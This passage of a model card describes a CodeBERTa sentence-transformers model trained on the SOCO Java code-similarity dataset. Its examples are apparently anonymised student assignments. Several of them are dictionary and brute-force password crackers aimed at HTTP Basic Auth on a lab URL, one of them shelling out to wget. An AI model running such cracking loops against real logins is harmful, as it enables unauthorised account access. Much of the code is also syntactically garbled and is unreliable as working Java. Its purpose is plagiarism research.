                    }

                 
                 } catch (FileNotFoundException fnfe) {
                    System.out.println("File Not Found");
                 } catch (IOException ioe) {
                    System.out.println("IOException");
                 } catch(Exception e) {
                    e.printStackTrace();
                 } finally {
                    try {
                       in.close();
                    } catch (Exception e) {;}
                 }


              }
              if (!auth) {
                 System.out.println("Unable  determine password");
              } else {
                  time = (new Date()).getTime() - start.getTime();
                 System.out.println("it took " + String.valueOf(time) + " milliseconds  crack the password");
              }
           }
        }

        class CrackAuth extends Authenticator {
           char[] password;
           public CrackAuth(char[] password) {
              this.password = password;
           }

           protected PasswordAuthentication getPasswordAuthentication()
           {
              String user = "";
              return new PasswordAuthentication(user, password);
           }
        }
      - "\n\nimport java.io.*;\nimport java.util.*;\nimport java.net.*;\n\n\npublic class Dictionary {\n\n\tpublic static void main(String[] args) {\n\n\tString attackURL = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\tString userID = \"\";\n\tString Password=\"\";\n\tString userPassword=\"\";\n\n\tFile inputFile = new File(\"/usr/share/lib/dict/words\");\n        FileReader fin = null;\n        BufferedReader bf  = null;\n\n\ttry {\n\t\t startmillisecond = System.currentTimeMillis();\n\t        URL url = new URL(attackURL);\n\t        fin = new FileReader(inputFile);\n\t        bf = new BufferedReader(fin);\n\t\tint count = 0;\n\t        while ((Password = bf.readLine()) !=null) {\n\t                if (Password.length() < 4) {\n\t\t\t\tcount++;\n\t\t\t\ttry {\n\t\t\t\t\tuserPassword = userID + \":\" + Password;\n\t\t\t\t\tSystem.out.println(\"User & Password :\" + userPassword);\n\t\t\t\t        String encoding = Base64Converter.encode (userPassword.getBytes());\n\t\t\t\t\n\t\t\t\t\tURLConnection uc = url.openConnection();\n\t\t\t\t\tuc.setRequestProperty  (\"Authorization\", \" \" + encoding);\n\t\t\t\t\tInputStream content = (InputStream)uc.getInputStream();\n\t\t\t\t\tBufferedReader in = new BufferedReader (new InputStreamReader (content));\n\t\t\t\t\tString line;\n\t\t\t\t\twhile ((line = in.readLine()) != null) {\n\t\t\t            \n\t\t\t\t\tSystem.out.println(line);\n\t\t\t\t        }\n\t\t\t\t\t endmillisecond = System.currentTimeMillis();\n\t\t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\t\tSystem.out.println(\"Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\t\tSystem.out.println(\"Try in \" + count + \" times \");\n\t\t                System.exit(1);\n\n\t\t\t\t} catch (MalformedURLException e) {\n\t\t\t       \t\tSystem.out.println(\"Invalid URL\");\n\t\t\t\t} catch (IOException e) {\n\t\t      \t\t\tSystem.out.println(\"Error  URL\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tcatch (Exception ioe) {\n            \tSystem.out.println(ioe.getMessage());\n        }\n        finally {\n        }\n   }\n\n}\n"
      - |




        import java.net.*;
        import java.io.*;
        import java.util.Date;

        public class BruteForce {
          private URL url;
          private HttpURLConnection connection;
          private static String[] lowerCase = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j",
                                               "k", "l", "m", "n", "o", "p", "q", "r", "s", "t",
                                               "u", "v", "w", "x", "y", "z"};
          private static String[] upperCase = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J",
                                               "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T",
                                               "U", "V", "W", "X", "Y", "Z"};
          private String userPassword, base64_userPassword;
          private static char wrongPass;

          public BruteForce() {
            wrongPass = 'Y';
          }

          public char determinePass(String inputURL, String userName, String passWord){

            try{
                url = new URL(inputURL);
                connection = (HttpURLConnection)url.openConnection();
                this.getEncoded(userName, passWord);
                connection.setDoInput(true);
                connection.setDoOutput(false);
                connection.setRequestProperty("Authorization",
                                              " " + base64_userPassword);

                if  (connection.getResponseCode() == 200)
                {
                  System.out.println("Success!! Password is: " + passWord);
                  wrongPass = 'N';
                }

                return wrongPass;
            }
            catch (MalformedURLException e){System.out.println("Invalide url");}
            catch (IOException e){System.out.println("Error  URL");
                                  wrongPass = 'Y';}
            return wrongPass;
          }

          public static void main(String[] args) {
            int i, j, k;
            String brutePass;

            BruteForce bruteForce1 = new BruteForce();

            Date date = new Date(System.currentTimeMillis());
            System.out.print(" time is: ");
            System.out.println(date.toString());
            
            
            

            
            for  (i = 0; i < 26; i++)
            { for  (j = 0; j < 26; j++)
              { for  (k = 0; k < 26; k++)
                {
                   brutePass = lowerCase[i] + lowerCase[j] + lowerCase[k];
                   bruteForce1.determinePass(args[0], args[1], brutePass);
                   if  (wrongPass == 'N')
                   { i = 26;
                     j = 26;
                     k = 26;
                   }}}}

             if  (wrongPass == 'N')
             {
               date.setTime(System.currentTimeMillis());
               System.out.print("End time is: ");
               System.out.println(date.toString());
               System.exit(0);
             }


            
            for  (i = 0; i < 26; i++)
            { for  (j = 0; j < 26; j++)
              { for  (k = 0; k < 26; k++)
                {
                   brutePass = upperCase[i] + upperCase[j] + upperCase[k];
                   bruteForce1.determinePass(args[0], args[1], brutePass);
                   if  (wrongPass == 'N')
                   { i = 26;
                     j = 26;
                     k = 26;
                   }}}}

            if  (wrongPass == 'N')
            {
              date.setTime(System.currentTimeMillis());
              System.out.print("End time is: ");
              System.out.println(date.toString());
              System.exit(0);
            }

            
            for  (i = 0; i < 26; i++)
            { for  (j = 0; j < 26; j++)
              { for  (k = 0; k < 26; k++)
                {
                   brutePass = upperCase[i] + upperCase[j] + lowerCase[k];
                   bruteForce1.determinePass(args[0], args[1], brutePass);
                   if  (wrongPass == 'N')
                   { i = 26;
                     j = 26;
                     k = 26;
                   }}}}

            if  (wrongPass == 'N')
            {
              date.setTime(System.currentTimeMillis());
              System.out.print("End time is: ");
              System.out.println(date.toString());
              System.exit(0);
            }

            
            for  (i = 0; i < 26; i++)
            { for  (j = 0; j < 26; j++)
              { for  (k = 0; k < 26; k++)
                {
                   brutePass = upperCase[i] + lowerCase[j] + upperCase[k];
                   bruteForce1.determinePass(args[0], args[1], brutePass);
                   if  (wrongPass == 'N')
                   { i = 26;
                     j = 26;
                     k = 26;
                   }}}}

            if  (wrongPass == 'N')
            {
              date.setTime(System.currentTimeMillis());
              System.out.print("End time is: ");
              System.out.println(date.toString());
              System.exit(0);
            }

            
            for  (i = 0; i < 26; i++)
            { for  (j = 0; j < 26; j++)
              { for  (k = 0; k < 26; k++)
                {
                   brutePass = upperCase[i] + lowerCase[j] + lowerCase[k];
                   bruteForce1.determinePass(args[0], args[1], brutePass);
                   if  (wrongPass == 'N')
                   { i = 26;
                     j = 26;
                     k = 26;
                   }}}}

            if  (wrongPass == 'N')
            {
              date.setTime(System.currentTimeMillis());
              System.out.print("End time is: ");
              System.out.println(date.toString());
              System.exit(0);
            }

            
            for  (i = 0; i < 26; i++)
            { for  (j = 0; j < 26; j++)
              { for  (k = 0; k < 26; k++)
                {
                   brutePass = lowerCase[i] + upperCase[j] + upperCase[k];
                   bruteForce1.determinePass(args[0], args[1], brutePass);
                   if  (wrongPass == 'N')
                   { i = 26;
                     j = 26;
                     k = 26;
                   }}}}

            if  (wrongPass == 'N')
            {
              date.setTime(System.currentTimeMillis());
              System.out.print("End time is: ");
              System.out.println(date.toString());
              System.exit(0);
            }

            
            for  (i = 0; i < 26; i++)
            { for  (j = 0; j < 26; j++)
              { for  (k = 0; k < 26; k++)
                {
                   brutePass = lowerCase[i] + upperCase[j] + lowerCase[k];
                   bruteForce1.determinePass(args[0], args[1], brutePass);
                   if  (wrongPass == 'N')
                   { i = 26;
                     j = 26;
                     k = 26;
                   }}}}

            if  (wrongPass == 'N')
            {
              date.setTime(System.currentTimeMillis());
              System.out.print("End time is: ");
              System.out.println(date.toString());
              System.exit(0);
            }

            
            for  (i = 0; i < 26; i++)
            { for  (j = 0; j < 26; j++)
              { for  (k = 0; k < 26; k++)
                {
                   brutePass = lowerCase[i] + lowerCase[j] + upperCase[k];
                   bruteForce1.determinePass(args[0], args[1], brutePass);
                   if  (wrongPass == 'N')
                   { i = 26;
                     j = 26;
                     k = 26;
                   }}}}

            date.setTime(System.currentTimeMillis());
            System.out.print("End time is: ");
            System.out.println(date.toString());

          }

          private void getEncoded(String userName, String password){
            userPassword = userName + ":" + password;
            base64_userPassword = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
          }

        }
  - source_sentence: |

      package java.httputils;

      import java.io.IOException;
      import java.net.HttpURLConnection;
      import java.net.MalformedURLException;
      import java.net.URL;
      import java.sql.Timestamp;


      public class BasicAuthHttpRequest extends HttpRequestClient
      {
          String userName;
          String password;
          
          protected BasicAuthHttpRequest(String url, String userName, String password)
              throws MalformedURLException, IOException
          {
              setPassword(password);
              setUserName(userName);
              setServerURL(new URL(url));
              
              setStart(new Timestamp(System.currentTimeMillis()));

              String userPassword = userName + ":" + password;

              
              String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());

             

             setHttpConnection(
              (HttpURLConnection)this.getServerURL().openConnection());

              
              getHttpConnection().setRequestProperty ("Authorization", " " + encoding);
              doRequest();
          }

          
          protected BasicAuthHttpRequest(String url)
              throws MalformedURLException, IOException
          {
              super(url);
          }

          
          public BasicAuthHttpRequest()
          {
              super();
          }


          
          public String getPassword()
          {
              return password;
          }

          
          public String getUserName()
          {
              return userName;
          }

          
          public void setPassword(String string)
          {
              password = string;
          }

          
          public void setUserName(String string)
          {
              userName = string;
          }

          public static void main (String[] args)
          {
              BasicAuthHttpRequest client = null;
              try
              {
                  client = new BasicAuthHttpRequest(args[0], args[1], args[2]);
              }
              catch (MalformedURLException e)
              {
                  e.printStackTrace();
              }
              catch (IOException e)
              {
                  e.printStackTrace();
              }
              finally
              {
                  if (client != null && client.getCode() != HttpURLConnection.HTTP_UNAUTHORIZED)
                  {
                      System.out.println(
                          "Request response : \n" + client.getCode());


                      System.out.println(
                          "Request processing time (milliseconds): " +
                          (client.getEnd().getTime() - client.getStart().getTime()));

                      System.out.println(
                          "Request content: \n" + client.getContent());
                  }
                  else
                  {
                      System.out.println(
                          "Request response : \n" + client.getCode());


                  }
              }
          }
      }
    sentences:
      - "import java.io.*;\nimport java.net.*;\nimport java.security.*;\nimport java.math.*;\nimport java.*;\nimport java.util.*;\n\n\npublic class WatchDog\n{\n    public static FileWriter out = null, output = null;\n\n    public static void main (String args[]) throws Exception {\n\tSocket socket = null;\n\tDataOutputStream  = null;\n\tBufferedReader bf = null, fr = null;\n\tString retVal = null, StatusCode = \"HTTP/1.1 200 OK\";\n    int dirty = 0, count = 0;\n\n         stime = System.currentTimeMillis();\n        System.out.println(\"Detecting the changes...\");\n\n        try {\n\n\t        \n            URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\");\n            URLConnection yc = yahoo.openConnection();\n\n            \n            BufferedReader in = new BufferedReader(\n                                    new InputStreamReader(\n                                    yc.getInputStream()));\n\n            String inputLine;\n            try {\n                out = new FileWriter(\"newstudent\");\n                while ((inputLine = in.readLine()) != null){\n                        out.write(inputLine + \"\\n\");\n                }\n            } catch (IOException ex) {\n                ex.printStackTrace();\n            }\n            in.print();\n            out.print();\n\n            dirty = diff();\n            if (dirty == 1){\n               sendMail();\n               System.out.println(\"Changes detected and email sent!\");\n            }\n\n            if (diffimages() == 1){\n               sendMail();\n               System.out.println(\"Images modification detected and email sent!\");\n            }\n\n            updatePage();\n            System.out.println(\"** End of WatchDog checking **\");\n\n            } catch (Exception ex) {\n              ex.printStackTrace();\n            }\n    }\n\n    public static int diff()\n    {\n       int update = 0;\n\n       try{\n           Process process = Runtime.getRuntime().exec(\"diff -b RMITCSStudent newstudent\");\n           BufferedReader pr = new BufferedReader(\n                                   new InputStreamReader(\n                                   process.getInputStream()));\n\n           output = new FileWriter(\"output\");\n           String inputLine;\n           while ((inputLine = pr.readLine()) != null){\n                 output.write(inputLine + \"\\n\");\n                 update = 1;\n           }\n           output.promt();\n\n       }catch (Exception ex){\n              ex.printStackTrace();\n       }\n       return update;\n    }\n\n    public static int diffimages()\n    {\n       int update = 0;\n       String image;\n\n       try{\n           Process primages = Runtime.getRuntime().exec(\"./images.sh\");\n           wait(1);\n           File imageFile = new File(\"imagesname\");\n           BufferedReader fr = new BufferedReader(new FileReader(imageFile));\n\n           output = new FileWriter(\"output\");\n           while ((image = fr.readLine()) != null) {\n                 primages = Runtime.getRuntime().exec(\"diff \" + image + \" o\"+image);\n                 BufferedReader pr = new BufferedReader(\n                                       new InputStreamReader(\n                                       primages.getInputStream()));\n\n                 String inputLine;\n                 while ((inputLine = pr.readLine()) != null){\n                       output.write(inputLine + \"\\n\");\n                       update = 1;\n                 }\n           }\n           output.print();\n           fr.close();\n\n       }catch (Exception ex){\n              ex.printStackTrace();\n       }\n       return update;\n    }\n\n    public static void sendMail()\n    {\n       try{\n           Process mailprocess = Runtime.getRuntime().exec(\"./email.sh\");\n       }catch (Exception ex){\n           ex.printStackTrace();\n       }\n    }\n\n    public static void updatePage()\n    {\n       String image;\n\n       try{\n           Process updateprocess = Runtime.getRuntime().exec(\"cp newstudent RMITCSStudent\");\n           Process deleteprocess = Runtime.getRuntime().exec(\"rm newstudent\");\n\n           File inputFile = new File(\"imagesname\");\n           BufferedReader fr = new BufferedReader(new FileReader(inputFile));\n           while ((image = fr.readLine()) != null) {\n                 updateprocess = Runtime.getRuntime().exec(\"cp \" + image + \" o\" + image);\n                 deleteprocess = Runtime.getRuntime().exec(\"rm \" + image);\n           }\n           fr.close();\n       }catch (Exception ex){\n           ex.printStackTrace();\n       }\n    }\n\n    public static void wait(int time){\n\t   int timer, times;\n\t   timer = System.currentTimeMillis();\n\t   times = (time * 1000) + timer;\n\n\t   while(timer < times)\n\t\t\ttimer = System.currentTimeMillis();\n\t}\n}"
      - "import java.net.*;\nimport java.io.*;\n\n\npublic class EmailClient\n{\n\tprivate String sender, recipient, hostName;\n\n\tpublic EmailClient(String nSender, String nRecipient, String nHost)\n\t{\n\t\tsender = nSender;\n\t\trecipient = nRecipient;\n\t\thostName = nHost;\n\t}\n\n\tpublic void sendMail(String subject, String message)\n\t{\n\t\ttry\n\t\t{\n\t\t\tSocket s1=null;\n\t\t\tInputStream\tis = null;\n\t\t\tOutputStream os = null;\n\n\t\t\tDataOutputStream  = null;\n\n\t\t\ts1 = new Socket(hostName,25);\n\t\t\tis = s1.getInputStream();\n\t\t\tos = s1.getOutputStream();\n\n\t\t\tbd = new DataOutputStream(os);\n\n\t\t\tBufferedReader response = new BufferedReader(new InputStreamReader(is));\n\n\t\t\tbd.writeBytes(\"HELO \"+ InetAddress.getLocalHost().getHostName() + \"\\r\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes(\"MAIL FROM:\"+sender+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes(\"RCPT :\"+recipient+\"\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes(\"data\"+\"\\n\");\n\n\t\t\tbd.writeBytes(\"Subject:\"+subject+\"\\n\");\n\n\t\t\tbd.writeBytes(message+\"\\n.\\n\");\n\n\t\t\twaitForSuccessResponse(response);\n\t\t}\n\n\t\tcatch (UnknownHostException badUrl)\n\t\t{\n\t\t\tSystem.out.println(\"Host unknown.\");\n\t\t}\n\n\t\tcatch (EOFException eof)\n\t\t{\n\t\t\tSystem.out.println(\"<EOF>\");\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tSystem.out.println(\"got exception: \"+e);\n\t\t}\n\t}\n\n\tprivate static void\twaitForSuccessResponse(BufferedReader response) throws IOException\n\t{\n\t\tString rsp;\n\t\tboolean r250 = false;\n\n\t\twhile( ! r250 )\n\t\t{\n\t\t\trsp = response.readLine().trim();\n\n\t\t\tif(rsp.startsWith(\"250\"))\n\t\t\t\tr250 = true;\n\t\t}\n\n\t}\n}"
      - |


        import java.io.*;
        import java.*;
        import java.net.*;
        import java.util.*;

        public class WatchDog {
         public static void  main (String[] args) throws IOException {
          BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));
           try{
             twentyfourhours = 86400000;
            Timer timer = new Timer();
            final Runtime rt = Runtime.getRuntime();

            try{
             Process wg1 = rt.exec("./.sh");
             wg1.waitFor();
            }
            catch(InterruptedException e ){
             System.err.println();
             e.printStackTrace();
            }

            class RepeatTask extends TimerTask{
             public void run(){
              try{
               Process wg2 = rt.exec("./task.sh");
               wg2.waitFor();
               FileReader fr = new FileReader("check.txt");
               BufferedReader bufr = new BufferedReader(fr);
               String check = bufr.readLine();
               if(check.equals(".txt: FAILED")) {
                Process difftosend = rt.exec("./diff.sh");
                difftosend.waitFor();
                Process reset = rt.exec("./.sh");
                reset.waitFor();
               }
               FileReader fr2 = new FileReader("imgdiffs.txt");
               BufferedReader bufr2 = new BufferedReader(fr2);
               String imdiff = bufr2.readLine();
               if(imdiff != null){
                Process imdifftosend = rt.exec("./img.sh");
                imdifftosend.waitFor();
                Process reset = rt.exec("./.sh");
                reset.waitFor();
               }
              }
           catch(InterruptedException e){System.err.println();e.printStackTrace();}
              catch(IOException e){
               System.err.println(e);
               e.printStackTrace();
              }
            }}

            timer.scheduleAtFixedRate(new RepeatTask(),twentyfourhours,twentyfourhours);
            
           }
           catch(IOException e){
            System.err.println(e);
            e.printStackTrace();
           }
           
        }}
pipeline_tag: sentence-similarity
library_name: sentence-transformers

SentenceTransformer based on huggingface/CodeBERTa-small-v1

This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

  • Model Type: Sentence Transformer
  • Base model: huggingface/CodeBERTa-small-v1
  • Maximum Sequence Length: 512 tokens
  • Output Dimensionality: 768 dimensions
  • Similarity Function: Cosine Similarity

Model Sources

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-ST-1")
# Run inference
sentences = [
    '\npackage java.httputils;\n\nimport java.io.IOException;\nimport java.net.HttpURLConnection;\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.sql.Timestamp;\n\n\npublic class BasicAuthHttpRequest extends HttpRequestClient\n{\n    String userName;\n    String password;\n    \n    protected BasicAuthHttpRequest(String url, String userName, String password)\n        throws MalformedURLException, IOException\n    {\n        setPassword(password);\n        setUserName(userName);\n        setServerURL(new URL(url));\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        String userPassword = userName + ":" + password;\n\n        \n        String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n       \n\n       setHttpConnection(\n        (HttpURLConnection)this.getServerURL().openConnection());\n\n        \n        getHttpConnection().setRequestProperty ("Authorization", " " + encoding);\n        doRequest();\n    }\n\n    \n    protected BasicAuthHttpRequest(String url)\n        throws MalformedURLException, IOException\n    {\n        super(url);\n    }\n\n    \n    public BasicAuthHttpRequest()\n    {\n        super();\n    }\n\n\n    \n    public String getPassword()\n    {\n        return password;\n    }\n\n    \n    public String getUserName()\n    {\n        return userName;\n    }\n\n    \n    public void setPassword(String string)\n    {\n        password = string;\n    }\n\n    \n    public void setUserName(String string)\n    {\n        userName = string;\n    }\n\n    public static void main (String[] args)\n    {\n        BasicAuthHttpRequest client = null;\n        try\n        {\n            client = new BasicAuthHttpRequest(args[0], args[1], args[2]);\n        }\n        catch (MalformedURLException e)\n        {\n            e.printStackTrace();\n        }\n        catch (IOException e)\n        {\n            e.printStackTrace();\n        }\n        finally\n        {\n            if (client != null && client.getCode() != HttpURLConnection.HTTP_UNAUTHORIZED)\n            {\n                System.out.println(\n                    "Request response : \\n" + client.getCode());\n\n\n                System.out.println(\n                    "Request processing time (milliseconds): " +\n                    (client.getEnd().getTime() - client.getStart().getTime()));\n\n                System.out.println(\n                    "Request content: \\n" + client.getContent());\n            }\n            else\n            {\n                System.out.println(\n                    "Request response : \\n" + client.getCode());\n\n\n            }\n        }\n    }\n}\n',
    'import java.io.*;\nimport java.net.*;\nimport java.security.*;\nimport java.math.*;\nimport java.*;\nimport java.util.*;\n\n\npublic class WatchDog\n{\n    public static FileWriter out = null, output = null;\n\n    public static void main (String args[]) throws Exception {\n\tSocket socket = null;\n\tDataOutputStream  = null;\n\tBufferedReader bf = null, fr = null;\n\tString retVal = null, StatusCode = "HTTP/1.1 200 OK";\n    int dirty = 0, count = 0;\n\n         stime = System.currentTimeMillis();\n        System.out.println("Detecting the changes...");\n\n        try {\n\n\t        \n            URL yahoo = new URL("http://www.cs.rmit.edu./students/");\n            URLConnection yc = yahoo.openConnection();\n\n            \n            BufferedReader in = new BufferedReader(\n                                    new InputStreamReader(\n                                    yc.getInputStream()));\n\n            String inputLine;\n            try {\n                out = new FileWriter("newstudent");\n                while ((inputLine = in.readLine()) != null){\n                        out.write(inputLine + "\\n");\n                }\n            } catch (IOException ex) {\n                ex.printStackTrace();\n            }\n            in.print();\n            out.print();\n\n            dirty = diff();\n            if (dirty == 1){\n               sendMail();\n               System.out.println("Changes detected and email sent!");\n            }\n\n            if (diffimages() == 1){\n               sendMail();\n               System.out.println("Images modification detected and email sent!");\n            }\n\n            updatePage();\n            System.out.println("** End of WatchDog checking **");\n\n            } catch (Exception ex) {\n              ex.printStackTrace();\n            }\n    }\n\n    public static int diff()\n    {\n       int update = 0;\n\n       try{\n           Process process = Runtime.getRuntime().exec("diff -b RMITCSStudent newstudent");\n           BufferedReader pr = new BufferedReader(\n                                   new InputStreamReader(\n                                   process.getInputStream()));\n\n           output = new FileWriter("output");\n           String inputLine;\n           while ((inputLine = pr.readLine()) != null){\n                 output.write(inputLine + "\\n");\n                 update = 1;\n           }\n           output.promt();\n\n       }catch (Exception ex){\n              ex.printStackTrace();\n       }\n       return update;\n    }\n\n    public static int diffimages()\n    {\n       int update = 0;\n       String image;\n\n       try{\n           Process primages = Runtime.getRuntime().exec("./images.sh");\n           wait(1);\n           File imageFile = new File("imagesname");\n           BufferedReader fr = new BufferedReader(new FileReader(imageFile));\n\n           output = new FileWriter("output");\n           while ((image = fr.readLine()) != null) {\n                 primages = Runtime.getRuntime().exec("diff " + image + " o"+image);\n                 BufferedReader pr = new BufferedReader(\n                                       new InputStreamReader(\n                                       primages.getInputStream()));\n\n                 String inputLine;\n                 while ((inputLine = pr.readLine()) != null){\n                       output.write(inputLine + "\\n");\n                       update = 1;\n                 }\n           }\n           output.print();\n           fr.close();\n\n       }catch (Exception ex){\n              ex.printStackTrace();\n       }\n       return update;\n    }\n\n    public static void sendMail()\n    {\n       try{\n           Process mailprocess = Runtime.getRuntime().exec("./email.sh");\n       }catch (Exception ex){\n           ex.printStackTrace();\n       }\n    }\n\n    public static void updatePage()\n    {\n       String image;\n\n       try{\n           Process updateprocess = Runtime.getRuntime().exec("cp newstudent RMITCSStudent");\n           Process deleteprocess = Runtime.getRuntime().exec("rm newstudent");\n\n           File inputFile = new File("imagesname");\n           BufferedReader fr = new BufferedReader(new FileReader(inputFile));\n           while ((image = fr.readLine()) != null) {\n                 updateprocess = Runtime.getRuntime().exec("cp " + image + " o" + image);\n                 deleteprocess = Runtime.getRuntime().exec("rm " + image);\n           }\n           fr.close();\n       }catch (Exception ex){\n           ex.printStackTrace();\n       }\n    }\n\n    public static void wait(int time){\n\t   int timer, times;\n\t   timer = System.currentTimeMillis();\n\t   times = (time * 1000) + timer;\n\n\t   while(timer < times)\n\t\t\ttimer = System.currentTimeMillis();\n\t}\n}',
    'import java.net.*;\nimport java.io.*;\n\n\npublic class EmailClient\n{\n\tprivate String sender, recipient, hostName;\n\n\tpublic EmailClient(String nSender, String nRecipient, String nHost)\n\t{\n\t\tsender = nSender;\n\t\trecipient = nRecipient;\n\t\thostName = nHost;\n\t}\n\n\tpublic void sendMail(String subject, String message)\n\t{\n\t\ttry\n\t\t{\n\t\t\tSocket s1=null;\n\t\t\tInputStream\tis = null;\n\t\t\tOutputStream os = null;\n\n\t\t\tDataOutputStream  = null;\n\n\t\t\ts1 = new Socket(hostName,25);\n\t\t\tis = s1.getInputStream();\n\t\t\tos = s1.getOutputStream();\n\n\t\t\tbd = new DataOutputStream(os);\n\n\t\t\tBufferedReader response = new BufferedReader(new InputStreamReader(is));\n\n\t\t\tbd.writeBytes("HELO "+ InetAddress.getLocalHost().getHostName() + "\\r\\n");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes("MAIL FROM:"+sender+"\\n");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes("RCPT :"+recipient+"\\n");\n\n\t\t\twaitForSuccessResponse(response);\n\n\t\t\tbd.writeBytes("data"+"\\n");\n\n\t\t\tbd.writeBytes("Subject:"+subject+"\\n");\n\n\t\t\tbd.writeBytes(message+"\\n.\\n");\n\n\t\t\twaitForSuccessResponse(response);\n\t\t}\n\n\t\tcatch (UnknownHostException badUrl)\n\t\t{\n\t\t\tSystem.out.println("Host unknown.");\n\t\t}\n\n\t\tcatch (EOFException eof)\n\t\t{\n\t\t\tSystem.out.println("<EOF>");\n\t\t}\n\t\tcatch (Exception e)\n\t\t{\n\t\t\tSystem.out.println("got exception: "+e);\n\t\t}\n\t}\n\n\tprivate static void\twaitForSuccessResponse(BufferedReader response) throws IOException\n\t{\n\t\tString rsp;\n\t\tboolean r250 = false;\n\n\t\twhile( ! r250 )\n\t\t{\n\t\t\trsp = response.readLine().trim();\n\n\t\t\tif(rsp.startsWith("250"))\n\t\t\t\tr250 = true;\n\t\t}\n\n\t}\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

Training Details

Training Dataset

Unnamed Dataset

  • Size: 33,411 training samples
  • Columns: sentence_0, sentence_1, and label
  • Approximate statistics based on the first 1000 samples:
    sentence_0 sentence_1 label
    type string string int
    details
    • min: 51 tokens
    • mean: 444.12 tokens
    • max: 512 tokens
    • min: 54 tokens
    • mean: 462.06 tokens
    • max: 512 tokens
    • 0: ~99.80%
    • 1: ~0.20%
  • Samples:
    sentence_0 sentence_1 label



    import java.net.;
    import java.io.
    ;
    import java.Runtime;

    public class WatchDog{
    public WatchDog(){}


    public void copyTo(){

    }

    public static void main(String[] args) throws Exception {
    WatchDog wd= new WatchDog();
    SendEMail t = new SendEMail();
    PrintWriter pw=null;
    URL url = new URL("http://www.cs.rmit.edu./students");
    URLConnection yc = url.openConnection();
    System.out.println("Connection opened...");
    BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
    String inputLine;
    try{
    pw=new PrintWriter(new FileOutputStream("newHtml"));
    while ((inputLine = in.readLine()) != null){

    pw.println(inputLine);
    }
    pw.save();
    }catch(IOException e){
    System.out.println("Error saving the file");
    }


    Process p = Runtime.getRuntime().exec("diff -b newHtml oldHtml");
    ...




    import java.io.;
    import java.net.
    ;
    import java.;
    import java.util.
    ;

    public class DictionaryAttack
    {
    public static void main ( String args[])
    {

    String function,pass,temp1;
    int count =0;

    try{

    FileReader fr = new FileReader("words.txt");
    BufferedReader bfread = new BufferedReader(fr);

    Runtime rtime = Runtime.getRuntime();
    Process prs = null;


    while(( bf = bfread.readLine()) != null)
    {


    if( f.length() < 4 )
    {
    System.out.println(+ " The Attack Number =====>" + count++ );
    pass = f;

    function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/";
    prs = rtime.exec(function);

    InputStreamReader stre = new InputStreamReader(prs.getErrorStream());
    BufferedReader bread = new BufferedReader(stre);
    while( (temp1 = bread.readLine())!= null)
    {
    System.out.println(temp1);
    if(temp1.equals("HTTP request sent, awaiting resp...
    0




    import java.net.;
    import java.io.
    ;
    import java.util.;

    public class WatchDog
    {

    public WatchDog()
    {
    }

    public static void main(String[] args)
    {
    try
    {
    if( args.length != 2 )
    {
    System.out.println("USAGE: java WatchDog ");
    System.exit(0);
    }

    Runtime.getRuntime().exec("rm LastWatch.html");
    Runtime.getRuntime().exec("rm WatchDog.ini");

    Thread.sleep(1000);

    while (true)
    {
    WatchDog myWatchDog = new WatchDog();
    myWatchDog.readHTML(args[0], args[1]);

    Runtime.getRuntime().exec("rm Report.txt");
    Runtime.getRuntime().exec("rm diffReport.txt");
    Runtime.getRuntime().exec("rm NewWatch.txt");

    System.out.println(" check after 2 ... press Ctrl-Z suspend WatchDog...");

    Thread.sleep(2
    60*1000);


    }
    ...


    import java.net.;
    import java.io.
    ;


    class MyAuthenticator extends Authenticator {

    String password;

    public MyAuthenticator(String pwdin) {
    password = pwdin;
    }

    protected PasswordAuthentication getPasswordAuthentication(){
    String pwd = password;
    return new PasswordAuthentication("",pwd.toCharArray());
    }
    }
    0


    import java.Runtime;
    import java.io.*;

    public class differenceFile
    {
    StringWriter sw =null;
    PrintWriter pw = null;
    public differenceFile()
    {
    sw = new StringWriter();
    pw = new PrintWriter();
    }
    public String compareFile()
    {
    try
    {
    Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");

    InputStream write = sw.getInputStream();
    BufferedReader bf = new BufferedReader (new InputStreamReader(write));
    String line;
    while((line = bf.readLine())!=null)
    pw.println(line);
    if((sw.toString().trim()).equals(""))
    {
    System.out.println(" difference");
    return null;
    }
